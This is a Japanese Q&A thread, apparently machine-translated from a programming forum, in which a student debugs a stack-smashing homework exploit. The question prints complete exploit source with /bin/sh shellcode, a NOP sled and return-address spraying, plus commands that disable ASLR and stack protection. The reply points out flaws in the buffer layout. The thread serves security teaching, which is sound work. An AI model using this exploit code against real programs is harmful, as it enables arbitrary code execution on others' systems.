web-dev-qa-db-ja.com

スタックスマッシングでセグメンテーションエラーが発生し続ける

スタックスマッシングを行う宿題があります

エクスプロイトコードは、脆弱なファイルの読み取りとバッファオーバーフローが発生するbadfileを作成します。

攻撃を完了できるように、以下の2つのコマンドをすでに実行しました

Sudo sysctl -w kernel.randomize_va_space = 0

gcc -o stack -fno-stack-protector stack.c(stack.cは脆弱なコードです)

非実行スタックも無効にしました

エクスプロイトの場合、私はシェルコードを持っているので、スタックポインターを取得して戻りアドレスを取得し、エクスプロイトコードのバッファーにプッシュします。バッファーは、バッファーの半分までのNOPで満たされてから、シェルコードで満たされます。バッファーの残りの部分は、戻りアドレスでいっぱいになります。

だから私のコードは以下のとおりです

  /* exploit.c
*/
/* A program that creates a file containing code for launching Shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"    /* xorl %eax,%eax*/
"\x50"          /* pushl %eax*/
"\x68""//sh"    /* pushl $0x68732f2f*/
"\x68""/bin"    /* pushl $0x6e69622f*/
"\x89\xe3"    /* movl %esp,%ebx*/
"\x50"        /* pushl %eax*/
"\x53"        /* pushl %ebx*/
"\x89\xe1"    /* movl %esp,%ecx*/
"\x99"        /* cdql*/
"\xb0\x0b"    /* movb $0x0b,%al*/
"\xcd\x80"    /* int $0x80*/
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
long *addr_ptr,retaddr;
char *ptr;
char *aptr;

unsigned long get_sp(void)
{    
    __asm__("movl %esp,%eax");
}

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

retaddr = get_sp() - atoi(argv[1]);
printf("Stack Pointer: 0x%lx\n", get_sp());
printf("Using address: 0x%lx\n", retaddr);

//int i;
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

int i;
for(i=0;i<(sizeof(buffer)-1)/2;i+=4)    
    *(long *)&buffer[i] = retaddr;

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
 }

オフセットには乱数を入力してオフセットを試し、正しいアドレスを取得します。しかし、何度も繰り返した後、セグメンテーションエラーが発生し続けます。何が起こっているのか分かりません。誰でも手伝ってくれる?

3
edelweiss

Memcpyの使用にはレビューが必要です-以下に従ってください:

元の投稿:memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

手始めに、ポインタとして参照せずにbufferを使用します。実際には&bufferが処理できるコンパイラがいくつかあるため、必ずしもスタックの利用を妨げるものではありません。

ここで、バッファを測定し、1ずつ減らしてから半分に切ります。これにより、258のオフセットが得られます。 NOPスレッドは次のようになります。

NOP、NOP、NOP X 517 --- 258未指定バイト-シェルコード

それはそれほど意味がありません-なぜそれらの未指定のバイトをNOPスレッド内に残すのですか?

最後に、戻りアドレスの推測でNOPスレッドの半分をカバーするiの反復を行います。

あなたは今あなたのエラーを見ることができますか?

3
dalimama